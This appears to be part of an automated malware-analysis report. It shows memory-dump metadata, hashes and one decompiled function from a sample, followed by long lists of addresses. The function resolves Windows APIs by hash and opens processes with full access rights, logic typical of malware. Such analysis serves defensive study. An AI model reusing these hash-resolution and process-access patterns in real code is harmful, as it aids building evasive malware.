                                                                                                                                              0x6ebda58a
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebda63c
                                                                                                                                              0x6ebda63c
                                                                                                                                              0x6ebda63d
                                                                                                                                              0x6ebda63d
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebda549
                                                                                                                                              0x6ebda53f

                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 0-3916222277
                                                                                                                                              • Opcode ID: 9efc786f3c9f2b2522f99a2bd7613b0dcea3548f75dd5b13be8847a5f72f3cd6
                                                                                                                                              • Instruction ID: 6c06416ce96f69064596c15434a52739ae443c4d9be56c727877dd0acfcd0da1
                                                                                                                                              • Opcode Fuzzy Hash: 9efc786f3c9f2b2522f99a2bd7613b0dcea3548f75dd5b13be8847a5f72f3cd6
                                                                                                                                              • Instruction Fuzzy Hash: 601293715182819FC715DFA4C980AAEBBA9EFC4714F108E1DE999972A1DB309C09CF82
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 93%
                                                                                                                                              			E6EBD8428(signed int* __ecx, intOrPtr __edx, void* __eflags) {
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* __ebp;
                                                                                                                                              				signed int* _t173;
                                                                                                                                              				signed int* _t178;
                                                                                                                                              				void* _t180;
                                                                                                                                              				void* _t181;
                                                                                                                                              				intOrPtr* _t188;
                                                                                                                                              				signed int _t202;
                                                                                                                                              				intOrPtr* _t211;
                                                                                                                                              				intOrPtr* _t212;
                                                                                                                                              				intOrPtr* _t217;
                                                                                                                                              				signed int* _t218;
                                                                                                                                              				void* _t219;
                                                                                                                                              				void* _t220;
                                                                                                                                              				void* _t237;
                                                                                                                                              				void* _t238;
                                                                                                                                              				signed int* _t246;
                                                                                                                                              				void* _t247;
                                                                                                                                              				signed int* _t258;
                                                                                                                                              				intOrPtr* _t269;
                                                                                                                                              				signed int* _t277;
                                                                                                                                              				intOrPtr* _t279;
                                                                                                                                              				void* _t283;
                                                                                                                                              				void* _t285;
                                                                                                                                              				void* _t287;
                                                                                                                                              				signed int* _t296;
                                                                                                                                              				void* _t299;
                                                                                                                                              				signed int* _t308;
                                                                                                                                              				intOrPtr* _t310;
                                                                                                                                              				signed int _t315;
                                                                                                                                              				intOrPtr _t317;
                                                                                                                                              				signed int* _t322;
                                                                                                                                              				signed int _t323;
                                                                                                                                              				signed int _t324;
                                                                                                                                              				void* _t343;
                                                                                                                                              				void* _t414;
                                                                                                                                              				signed int _t415;
                                                                                                                                              				signed int* _t421;
                                                                                                                                              				signed int _t427;
                                                                                                                                              				intOrPtr* _t428;
                                                                                                                                              				intOrPtr* _t429;
                                                                                                                                              				signed int _t431;
                                                                                                                                              				signed int _t433;
                                                                                                                                              				signed int _t437;
                                                                                                                                              				signed int _t438;
                                                                                                                                              				signed int _t439;
                                                                                                                                              				signed int _t442;
                                                                                                                                              				void* _t443;
                                                                                                                                              				signed int _t444;
                                                                                                                                              				void* _t445;
                                                                                                                                              				signed int _t446;
                                                                                                                                              				intOrPtr* _t449;
                                                                                                                                              
                                                                                                                                              				 *_t449 = __ecx + 0x1c;
                                                                                                                                              				 *((intOrPtr*)(_t449 + 0x68)) = __edx;
                                                                                                                                              				 *(_t449 + 4) = __ecx;
                                                                                                                                              				 *(_t449 + 0x84) = 0;
                                                                                                                                              				 *((intOrPtr*)(_t449 + 0x78)) = __ecx + 4;
                                                                                                                                              				while(1) {
                                                                                                                                              					_t413 =  *(_t449 + 0x6c);
                                                                                                                                              					E6EBDB658(_t449 + 0x24,  *(_t449 + 0x6c), 0x7fffffff);
                                                                                                                                              					if(E6EBDF4D0(_t449 + 0x24) == 0) {
                                                                                                                                              						goto L3;
                                                                                                                                              					} else {
                                                                                                                                              						( *(_t449 + 4))[0xb] = 0;
                                                                                                                                              						E6EBDF654(_t449 + 0x24);
                                                                                                                                              					}
                                                                                                                                              					L60:
                                                                                                                                              					_t317 = 0xffffffffffffffff;
                                                                                                                                              					L62:
                                                                                                                                              					if(_t317 != 0) {
                                                                                                                                              						L65:
                                                                                                                                              						return _t317;
                                                                                                                                              					}
                                                                                                                                              					if( *(_t449 + 0x84) != 0x20) {
                                                                                                                                              						E6EBE2234(0x5dc, _t413, _t430);
                                                                                                                                              						 *(_t449 + 0x84) =  *(_t449 + 0x84) + 1;
                                                                                                                                              						continue;
                                                                                                                                              					}
                                                                                                                                              					_t317 = 0xffffffffffffffff;
                                                                                                                                              					goto L65;
                                                                                                                                              					L3:
                                                                                                                                              					__eflags =  *( *(_t449 + 4));
                                                                                                                                              					if( *( *(_t449 + 4)) <= 0) {
                                                                                                                                              						L21:
                                                                                                                                              						__eflags =  *(_t449 + 0x20);
                                                                                                                                              						if( *(_t449 + 0x20) <= 0) {
                                                                                                                                              							L33:
                                                                                                                                              							E6EBDF654(_t449 + 0x24);
                                                                                                                                              							_t173 =  *(_t449 + 4);
                                                                                                                                              							__eflags = _t173[0xb];
                                                                                                                                              							if(_t173[0xb] == 0) {
                                                                                                                                              								L46:
                                                                                                                                              								 *((intOrPtr*)(_t449 + 8)) = 0;
                                                                                                                                              								 *((intOrPtr*)(_t449 + 0xc)) = 0;
                                                                                                                                              								E6EBDF584(_t449 + 0x14, 0);
                                                                                                                                              								 *((intOrPtr*)(_t449 + 0x34)) =  *((intOrPtr*)(_t449 + 0x68));
                                                                                                                                              								 *((intOrPtr*)(_t449 + 0x38)) = 0;
                                                                                                                                              								E6EBDF584(_t449 + 0x40, 0);
                                                                                                                                              								_t178 =  *(_t449 + 4);
                                                                                                                                              								_t414 = 0x40;
                                                                                                                                              								__eflags = _t178[6] - 0x40;
                                                                                                                                              								_t415 =  <  ? _t178[6] : _t414;
                                                                                                                                              								 *(_t449 + 0x80) = _t415;
                                                                                                                                              								__eflags = _t415;
                                                                                                                                              								if(_t415 <= 0) {
                                                                                                                                              									L57:
                                                                                                                                              									_t413 = E6EBDF4BC(_t449 + 0x14, 0);
                                                                                                                                              									_t180 = E6EBE2908( *((intOrPtr*)(_t449 + 0xc)), _t179, 0x3e8);
                                                                                                                                              									_t132 = _t180 - 0x80; // -128
                                                                                                                                              									_t181 = _t132;
                                                                                                                                              									__eflags = _t181 - 0x3f;
                                                                                                                                              									_t315 =  <=  ? _t181 : _t180;
                                                                                                                                              									__eflags = _t315 - 0x102;
                                                                                                                                              									if(_t315 == 0x102) {
                                                                                                                                              										L59:
                                                                                                                                              										E6EBDB5C4(_t449 + 0x34);
                                                                                                                                              										E6EBDB5C4(_t449 + 8);
                                                                                                                                              										goto L60;
                                                                                                                                              									}
                                                                                                                                              									__eflags = _t315 - 0x3f;
                                                                                                                                              									if(_t315 <= 0x3f) {
                                                                                                                                              										__eflags = _t315 << 2;
                                                                                                                                              										 *((intOrPtr*)( *((intOrPtr*)(_t449 + 8)) + 0x2c)) =  *((intOrPtr*)(E6EBDF4BC( *(_t449 + 4), _t315 << 2)));
                                                                                                                                              										_t188 = E6EBDF4BC( *(_t449 + 0x7c), _t315 << 2);
                                                                                                                                              										_t413 =  *(_t449 + 4);
                                                                                                                                              										 *((intOrPtr*)(_t413 + 0x30)) =  *_t188;
                                                                                                                                              										_t317 =  *((intOrPtr*)(_t413 + 0x2c));
                                                                                                                                              										E6EBDB5C4(_t449 + 0x34);
                                                                                                                                              										E6EBDB5C4(_t449 + 8);
                                                                                                                                              										goto L62;
                                                                                                                                              									}
                                                                                                                                              									goto L59;
                                                                                                                                              								}
                                                                                                                                              								_t446 = 0;
                                                                                                                                              								__eflags = 0;
                                                                                                                                              								while(1) {
                                                                                                                                              									E6EBDCA8C(_t449 + 0x4c);
                                                                                                                                              									_t413 = 0;
                                                                                                                                              									_t343 = _t449 + 0x4c;
                                                                                                                                              									 *((char*)(_t343 + 4)) = 0;
                                                                                                                                              									 *((intOrPtr*)(_t343 + 0x20)) = 0;
                                                                                                                                              									__eflags = E6EBDC280(_t343);
                                                                                                                                              									if(__eflags != 0) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									E6EBDF828(_t449 + 0x14, E6EBDF4CC(_t449 + 0x10) + 4);
                                                                                                                                              									 *((intOrPtr*)(E6EBDF4BC(_t449 + 0x14, E6EBDF4CC(_t449 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t449 + 0x4c));
                                                                                                                                              									 *((intOrPtr*)(_t449 + 0xc)) =  *((intOrPtr*)(_t449 + 0xc)) + 1;
                                                                                                                                              									_t202 = E6EBE3064(0x60a28c5c, 0x3659ae1e);
                                                                                                                                              									__eflags = _t202;
                                                                                                                                              									if(_t202 == 0) {
                                                                                                                                              										L51:
                                                                                                                                              										_t413 =  *(_t449 + 0x6c);
                                                                                                                                              										__eflags = _t413;
                                                                                                                                              										if(__eflags == 0) {
                                                                                                                                              											break;
                                                                                                                                              										}
                                                                                                                                              										__eflags = _t413 - 0xffffffff;
                                                                                                                                              										if(__eflags != 0) {
                                                                                                                                              											E6EBDF828(_t449 + 0x40, E6EBDF4CC(_t449 + 0x3c) + 4);
                                                                                                                                              											 *(E6EBDF4BC(_t449 + 0x40, E6EBDF4CC(_t449 + 0x3c) + 0xfffffffc)) =  *(_t449 + 0x6c);
                                                                                                                                              											 *((intOrPtr*)(_t449 + 0x4c - 0x14)) =  *((intOrPtr*)(_t449 + 0x4c - 0x14)) + 1;
                                                                                                                                              											E6EBDCD24(_t449 + 0x4c, __eflags);
                                                                                                                                              											_t446 = _t446 + 1;
                                                                                                                                              											__eflags = _t446 -  *(_t449 + 0x80);
                                                                                                                                              											if(_t446 <  *(_t449 + 0x80)) {
                                                                                                                                              												continue;
                                                                                                                                              											}
                                                                                                                                              											_t431 = 0;
                                                                                                                                              											__eflags = 0;
                                                                                                                                              											do {
                                                                                                                                              												_t211 = E6EBDF4BC( *(_t449 + 4), _t431 * 4);
                                                                                                                                              												_t212 = E6EBDF4BC(_t449 + 0x40, _t431 * 4);
                                                                                                                                              												E6EBD8B58( *_t211, E6EBE02B0(0x60a28c5c, 0x840d15ae),  *_t212, 0, 0);
                                                                                                                                              												_t431 = _t431 + 1;
                                                                                                                                              												__eflags = _t431 -  *(_t449 + 0x80);
                                                                                                                                              											} while (_t431 <  *(_t449 + 0x80));
                                                                                                                                              											goto L57;
                                                                                                                                              										}
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									_t413 = 0;
                                                                                                                                              									_push(2);
                                                                                                                                              									_push(0);
                                                                                                                                              									_push(0);
                                                                                                                                              									_push(_t449 + 0x6c);
                                                                                                                                              									_push( *((intOrPtr*)(_t449 + 0x78)));
                                                                                                                                              									_push( *((intOrPtr*)(_t449 + 0x60)));
                                                                                                                                              									_push(0xffffffff);
                                                                                                                                              									asm("int3");
                                                                                                                                              									asm("int3");
                                                                                                                                              									__eflags = _t202;
                                                                                                                                              									if(__eflags != 0) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									goto L51;
                                                                                                                                              								}
                                                                                                                                              								E6EBDCD24(_t449 + 0x4c, __eflags);
                                                                                                                                              								goto L59;
                                                                                                                                              							}
                                                                                                                                              							_t427 =  *_t173;
                                                                                                                                              							__eflags = _t427;
                                                                                                                                              							if(_t427 <= 0) {
                                                                                                                                              								goto L46;
                                                                                                                                              							}
                                                                                                                                              							_t430 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							_t322 =  &(_t173[1]);
                                                                                                                                              							while(1) {
                                                                                                                                              								_t433 = _t430 * 4;
                                                                                                                                              								_t217 = E6EBDF4BC(_t322, _t433);
                                                                                                                                              								_t218 =  *(_t449 + 4);
                                                                                                                                              								__eflags =  *_t217 - _t218[0xc];
                                                                                                                                              								if( *_t217 == _t218[0xc]) {
                                                                                                                                              									break;
                                                                                                                                              								}
                                                                                                                                              								_t430 = _t430 + 1;
                                                                                                                                              								__eflags = _t430 - _t427;
                                                                                                                                              								if(_t430 < _t427) {
                                                                                                                                              									continue;
                                                                                                                                              								}
                                                                                                                                              								goto L46;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t430 - 0xffffffff;
                                                                                                                                              							if(_t430 != 0xffffffff) {
                                                                                                                                              								_t219 = E6EBDF4CC( *_t449);
                                                                                                                                              								__eflags = _t219 - _t433;
                                                                                                                                              								if(_t219 > _t433) {
                                                                                                                                              									 *((intOrPtr*)(_t449 + 0x74)) = 4 + _t430 * 4;
                                                                                                                                              									_t247 = E6EBDF4CC( *_t449);
                                                                                                                                              									__eflags = _t247 -  *((intOrPtr*)(_t449 + 0x74));
                                                                                                                                              									if(_t247 >  *((intOrPtr*)(_t449 + 0x74))) {
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0x90)) = E6EBDF4BC( *(_t449 + 4), _t433);
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0x8c)) = E6EBDF4BC( *(_t449 + 4),  *((intOrPtr*)(_t449 + 0x74)));
                                                                                                                                              										E6EBE38F0( *((intOrPtr*)(_t449 + 0x98)),  *((intOrPtr*)(_t449 + 0x90)), E6EBDF4CC( *_t449) -  *((intOrPtr*)(_t449 + 0x74)));
                                                                                                                                              										_t449 = _t449 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6EBDF828( *(_t449 + 4), E6EBDF4CC( *_t449) + 0xfffffffc);
                                                                                                                                              									_t421 =  *(_t449 + 4);
                                                                                                                                              									_t75 =  &(_t421[6]);
                                                                                                                                              									 *_t75 = _t421[6] - 1;
                                                                                                                                              									__eflags =  *_t75;
                                                                                                                                              								}
                                                                                                                                              								_t220 = E6EBDF4CC(_t322);
                                                                                                                                              								__eflags = _t220 - _t433;
                                                                                                                                              								if(_t220 > _t433) {
                                                                                                                                              									_t430 = 4 + _t430 * 4;
                                                                                                                                              									_t237 = E6EBDF4CC(_t322);
                                                                                                                                              									__eflags = _t237 - _t430;
                                                                                                                                              									if(_t237 > _t430) {
                                                                                                                                              										_t238 = E6EBDF4BC(_t322, _t433);
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0x94)) = E6EBDF4BC(_t322, _t430);
                                                                                                                                              										E6EBE38F0(_t238,  *((intOrPtr*)(_t449 + 0x98)), E6EBDF4CC(_t322) - _t430);
                                                                                                                                              										_t449 = _t449 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6EBDF828(_t322, E6EBDF4CC(_t322) + 0xfffffffc);
                                                                                                                                              									_t246 =  *(_t449 + 4);
                                                                                                                                              									 *_t246 =  *_t246 - 1;
                                                                                                                                              									__eflags =  *_t246;
                                                                                                                                              								}
                                                                                                                                              								E6EBDF828( *(_t449 + 4), E6EBDF4CC( *_t449) + 4);
                                                                                                                                              								 *(E6EBDF4BC( *(_t449 + 4), E6EBDF4CC( *_t449) + 0xfffffffc)) = ( *(_t449 + 4))[0xb];
                                                                                                                                              								( *(_t449 + 4))[6] = ( *(_t449 + 4))[6] + 1;
                                                                                                                                              								E6EBDF828(_t322, E6EBDF4CC(_t322) + 4);
                                                                                                                                              								 *(E6EBDF4BC(_t322, E6EBDF4CC(_t322) + 0xfffffffc)) = ( *(_t449 + 4))[0xc];
                                                                                                                                              								 *( *(_t449 + 4)) =  *( *(_t449 + 4)) + 1;
                                                                                                                                              							}
                                                                                                                                              							goto L46;
                                                                                                                                              						}
                                                                                                                                              						_t323 = 0;
                                                                                                                                              						__eflags = 0;
                                                                                                                                              						do {
                                                                                                                                              							 *(_t449 + 0x7c) = _t323 * 4;
                                                                                                                                              							_t428 = E6EBDF4BC(_t449 + 0x28, _t323 * 4);
                                                                                                                                              							_t258 =  *(_t449 + 4);
                                                                                                                                              							_t430 =  *_t258;
                                                                                                                                              							__eflags = _t430;
                                                                                                                                              							if(_t430 <= 0) {
                                                                                                                                              								L29:
                                                                                                                                              								_t437 = E6EBE3064(0x8e844d1e, 0x5c3654e3);
                                                                                                                                              								__eflags = _t437;
                                                                                                                                              								if(_t437 != 0) {
                                                                                                                                              									_t439 =  *_t437(0x1fffff, 0,  *((intOrPtr*)(E6EBDF4BC(_t449 + 0x28,  *(_t449 + 0x7c)))));
                                                                                                                                              									__eflags = _t439;
                                                                                                                                              									if(_t439 != 0) {
                                                                                                                                              										E6EBDF828( *(_t449 + 4), E6EBDF4CC( *_t449) + 4);
                                                                                                                                              										 *(E6EBDF4BC( *(_t449 + 4), E6EBDF4CC( *_t449) + 0xfffffffc)) = _t439;
                                                                                                                                              										 *((intOrPtr*)( *((intOrPtr*)(_t449 + 0x28 - 0x20)) + 0x18)) =  *((intOrPtr*)( *((intOrPtr*)(_t449 + 0x28 - 0x20)) + 0x18)) + 1;
                                                                                                                                              										_t269 = E6EBDF4BC(_t449 + 0x28,  *(_t449 + 0x7c));
                                                                                                                                              										 *(_t449 + 0x70) =  &(( *(_t449 + 4))[1]);
                                                                                                                                              										E6EBDF828( *((intOrPtr*)(_t449 + 0x74)), E6EBDF4CC( &(( *(_t449 + 4))[1])) + 4);
                                                                                                                                              										 *((intOrPtr*)(E6EBDF4BC( *((intOrPtr*)(_t449 + 0x74)), E6EBDF4CC( *(_t449 + 0x70)) + 0xfffffffc))) =  *_t269;
                                                                                                                                              										_t277 =  *(_t449 + 4);
                                                                                                                                              										 *_t277 =  *_t277 + 1;
                                                                                                                                              										__eflags =  *_t277;
                                                                                                                                              									}
                                                                                                                                              								}
                                                                                                                                              								goto L32;
                                                                                                                                              							}
                                                                                                                                              							_t438 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							 *(_t449 + 0x88) =  &(_t258[1]);
                                                                                                                                              							while(1) {
                                                                                                                                              								_t279 = E6EBDF4BC( *((intOrPtr*)(_t449 + 0x8c)), _t438 * 4);
                                                                                                                                              								__eflags =  *_t279 -  *_t428;
                                                                                                                                              								if( *_t279 ==  *_t428) {
                                                                                                                                              									break;
                                                                                                                                              								}
                                                                                                                                              								_t438 = _t438 + 1;
                                                                                                                                              								__eflags = _t438 - _t430;
                                                                                                                                              								if(_t438 < _t430) {
                                                                                                                                              									continue;
                                                                                                                                              								}
                                                                                                                                              								goto L29;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t438 - 0xffffffff;
                                                                                                                                              							if(_t438 == 0xffffffff) {
                                                                                                                                              								goto L29;
                                                                                                                                              							}
                                                                                                                                              							L32:
                                                                                                                                              							_t323 = _t323 + 1;
                                                                                                                                              							__eflags = _t323 -  *(_t449 + 0x20);
                                                                                                                                              						} while (_t323 <  *(_t449 + 0x20));
                                                                                                                                              						goto L33;
                                                                                                                                              					} else {
                                                                                                                                              						_t324 = 0;
                                                                                                                                              						__eflags = 0;
                                                                                                                                              						do {
                                                                                                                                              							 *(_t449 + 0x64) = _t324 * 4;
                                                                                                                                              							_t429 = E6EBDF4BC( *(_t449 + 0x7c), _t324 * 4);
                                                                                                                                              							_t430 =  *(_t449 + 0x20);
                                                                                                                                              							__eflags = _t430;
                                                                                                                                              							if(_t430 <= 0) {
                                                                                                                                              								L11:
                                                                                                                                              								_t430 =  &(( *(_t449 + 4))[1]);
                                                                                                                                              								_t283 = E6EBDF4CC( &(( *(_t449 + 4))[1]));
                                                                                                                                              								__eflags = _t283 -  *(_t449 + 0x64);
                                                                                                                                              								if(_t283 >  *(_t449 + 0x64)) {
                                                                                                                                              									_t443 = 4 + _t324 * 4;
                                                                                                                                              									_t299 = E6EBDF4CC(_t430);
                                                                                                                                              									__eflags = _t299 - _t443;
                                                                                                                                              									if(_t299 > _t443) {
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0x9c)) = E6EBDF4BC(_t430,  *(_t449 + 0x64));
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0x98)) = E6EBDF4BC(_t430, _t443);
                                                                                                                                              										E6EBE38F0( *((intOrPtr*)(_t449 + 0xa4)),  *((intOrPtr*)(_t449 + 0x9c)), E6EBDF4CC(_t430) - _t443);
                                                                                                                                              										_t449 = _t449 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6EBDF828(_t430, E6EBDF4CC(_t430) + 0xfffffffc);
                                                                                                                                              									_t308 =  *(_t449 + 4);
                                                                                                                                              									 *_t308 =  *_t308 - 1;
                                                                                                                                              									__eflags =  *_t308;
                                                                                                                                              								}
                                                                                                                                              								_t442 = E6EBE3064(0x60a28c5c, 0xe96b154c);
                                                                                                                                              								__eflags = _t442;
                                                                                                                                              								if(_t442 != 0) {
                                                                                                                                              									 *_t442( *(E6EBDF4BC( *(_t449 + 4),  *(_t449 + 0x64))));
                                                                                                                                              								}
                                                                                                                                              								_t285 = E6EBDF4CC( *_t449);
                                                                                                                                              								__eflags = _t285 -  *(_t449 + 0x64);
                                                                                                                                              								if(_t285 >  *(_t449 + 0x64)) {
                                                                                                                                              									_t445 = 4 + _t324 * 4;
                                                                                                                                              									_t287 = E6EBDF4CC( *_t449);
                                                                                                                                              									__eflags = _t287 - _t445;
                                                                                                                                              									if(_t287 > _t445) {
                                                                                                                                              										_t430 = E6EBDF4BC( *(_t449 + 4),  *(_t449 + 0x64));
                                                                                                                                              										 *((intOrPtr*)(_t449 + 0xa0)) = E6EBDF4BC( *(_t449 + 4), _t445);
                                                                                                                                              										E6EBE38F0(_t288,  *((intOrPtr*)(_t449 + 0xa4)), E6EBDF4CC( *_t449) - _t445);
                                                                                                                                              										_t449 = _t449 + 0xc;
                                                                                                                                              									}
                                                                                                                                              									E6EBDF828( *(_t449 + 4), E6EBDF4CC( *_t449) + 0xfffffffc);
                                                                                                                                              									_t296 =  *(_t449 + 4);
                                                                                                                                              									_t33 =  &(_t296[6]);
                                                                                                                                              									 *_t33 = _t296[6] - 1;
                                                                                                                                              									__eflags =  *_t33;
                                                                                                                                              								}
                                                                                                                                              								_t324 = _t324 - 1;
                                                                                                                                              								__eflags = _t324;
                                                                                                                                              								goto L20;
                                                                                                                                              							}
                                                                                                                                              							_t444 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							while(1) {
                                                                                                                                              								_t310 = E6EBDF4BC(_t449 + 0x28, _t444 * 4);
                                                                                                                                              								__eflags =  *_t310 -  *_t429;
                                                                                                                                              								if( *_t310 ==  *_t429) {
                                                                                                                                              									break;
                                                                                                                                              								}
                                                                                                                                              								_t444 = _t444 + 1;
                                                                                                                                              								__eflags = _t444 - _t430;
                                                                                                                                              								if(_t444 < _t430) {
                                                                                                                                              									continue;
                                                                                                                                              								}
                                                                                                                                              								goto L11;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t444 - 0xffffffff;
                                                                                                                                              							if(_t444 == 0xffffffff) {
                                                                                                                                              								goto L11;
                                                                                                                                              							}
                                                                                                                                              							L20:
                                                                                                                                              							_t324 = _t324 + 1;
                                                                                                                                              							__eflags = _t324 -  *( *(_t449 + 4));
                                                                                                                                              						} while (_t324 <  *( *(_t449 + 4)));
                                                                                                                                              						goto L21;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              			}























































                                                                                                                                              0x6ebd8435
                                                                                                                                              0x6ebd843b
                                                                                                                                              0x6ebd843f
                                                                                                                                              0x6ebd8443
                                                                                                                                              0x6ebd844e
                                                                                                                                              0x6ebd8452
                                                                                                                                              0x6ebd8457
                                                                                                                                              0x6ebd845f
                                                                                                                                              0x6ebd846f
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd8471
                                                                                                                                              0x6ebd8479
                                                                                                                                              0x6ebd8480
                                                                                                                                              0x6ebd8480
                                                                                                                                              0x6ebd89d3
                                                                                                                                              0x6ebd89d5
                                                                                                                                              0x6ebd8a16
                                                                                                                                              0x6ebd8a18
                                                                                                                                              0x6ebd8a27
                                                                                                                                              0x6ebd8a33
                                                                                                                                              0x6ebd8a33
                                                                                                                                              0x6ebd8a22
                                                                                                                                              0x6ebd8a39
                                                                                                                                              0x6ebd8a3e
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd8a3e
                                                                                                                                              0x6ebd8a26
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd848a
                                                                                                                                              0x6ebd848e
                                                                                                                                              0x6ebd8491
                                                                                                                                              0x6ebd8599
                                                                                                                                              0x6ebd8599
                                                                                                                                              0x6ebd859e
                                                                                                                                              0x6ebd86c1
                                                                                                                                              0x6ebd86c5
                                                                                                                                              0x6ebd86ca
                                                                                                                                              0x6ebd86ce
                                                                                                                                              0x6ebd86d2
                                                                                                                                              0x6ebd8808
                                                                                                                                              0x6ebd880a
                                                                                                                                              0x6ebd880e
                                                                                                                                              0x6ebd8817
                                                                                                                                              0x6ebd8822
                                                                                                                                              0x6ebd8826
                                                                                                                                              0x6ebd882f
                                                                                                                                              0x6ebd8834
                                                                                                                                              0x6ebd883a
                                                                                                                                              0x6ebd883b
                                                                                                                                              0x6ebd883f
                                                                                                                                              0x6ebd8843
                                                                                                                                              0x6ebd884a
                                                                                                                                              0x6ebd884c
                                                                                                                                              0x6ebd898c
                                                                                                                                              0x6ebd899d
                                                                                                                                              0x6ebd89a4
                                                                                                                                              0x6ebd89ab
                                                                                                                                              0x6ebd89ab
                                                                                                                                              0x6ebd89ae
                                                                                                                                              0x6ebd89b1
                                                                                                                                              0x6ebd89b4
                                                                                                                                              0x6ebd89ba
                                                                                                                                              0x6ebd89c1
                                                                                                                                              0x6ebd89c5
                                                                                                                                              0x6ebd89ce
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd89ce
                                                                                                                                              0x6ebd89bc
                                                                                                                                              0x6ebd89bf
                                                                                                                                              0x6ebd89d8
                                                                                                                                              0x6ebd89f0
                                                                                                                                              0x6ebd89f3
                                                                                                                                              0x6ebd89f8
                                                                                                                                              0x6ebd8a02
                                                                                                                                              0x6ebd8a05
                                                                                                                                              0x6ebd8a08
                                                                                                                                              0x6ebd8a11
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd8a11
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd89bf
                                                                                                                                              0x6ebd8854
                                                                                                                                              0x6ebd8854
                                                                                                                                              0x6ebd8856
                                                                                                                                              0x6ebd885a
                                                                                                                                              0x6ebd885f
                                                                                                                                              0x6ebd8861
                                                                                                                                              0x6ebd8865
                                                                                                                                              0x6ebd8868
                                                                                                                                              0x6ebd8870
                                                                                                                                              0x6ebd8872
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd8889
                                                                                                                                              0x6ebd88a4
                                                                                                                                              0x6ebd88a6
                                                                                                                                              0x6ebd88b4
                                                                                                                                              0x6ebd88b9
                                                                                                                                              0x6ebd88bb
                                                                                                                                              0x6ebd88d8
                                                                                                                                              0x6ebd88d8
                                                                                                                                              0x6ebd88dc
                                                                                                                                              0x6ebd88de
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd88e0
                                                                                                                                              0x6ebd88e3
                                                                                                                                              0x6ebd8904
                                                                                                                                              0x6ebd8923
                                                                                                                                              0x6ebd8929
                                                                                                                                              0x6ebd892c
                                                                                                                                              0x6ebd8931
                                                                                                                                              0x6ebd8932
                                                                                                                                              0x6ebd8939
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd8941
                                                                                                                                              0x6ebd8941
                                                                                                                                              0x6ebd8943
                                                                                                                                              0x6ebd894f
                                                                                                                                              0x6ebd895b
                                                                                                                                              0x6ebd897d
                                                                                                                                              0x6ebd8982
                                                                                                                                              0x6ebd8983
                                                                                                                                              0x6ebd8983
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd8943
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd88e3
                                                                                                                                              0x6ebd88bd
                                                                                                                                              0x6ebd88c3
                                                                                                                                              0x6ebd88c5
                                                                                                                                              0x6ebd88c6
                                                                                                                                              0x6ebd88c7
                                                                                                                                              0x6ebd88c8
                                                                                                                                              0x6ebd88cc
                                                                                                                                              0x6ebd88d0
                                                                                                                                              0x6ebd88d2
                                                                                                                                              0x6ebd88d3
                                                                                                                                              0x6ebd88d4
                                                                                                                                              0x6ebd88d6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd88d6
                                                                                                                                              0x6ebd88e9
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd88e9
                                                                                                                                              0x6ebd86d8
                                                                                                                                              0x6ebd86da
                                                                                                                                              0x6ebd86dc
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd86e6
                                                                                                                                              0x6ebd86e6
                                                                                                                                              0x6ebd86e8
                                                                                                                                              0x6ebd86eb
                                                                                                                                              0x6ebd86ed
                                                                                                                                              0x6ebd86f5
                                                                                                                                              0x6ebd86fc
                                                                                                                                              0x6ebd8700
                                                                                                                                              0x6ebd8703
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd87ff
                                                                                                                                              0x6ebd8800
                                                                                                                                              0x6ebd8802
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd8802
                                                                                                                                              0x6ebd8709
                                                                                                                                              0x6ebd870c
                                                                                                                                              0x6ebd8715
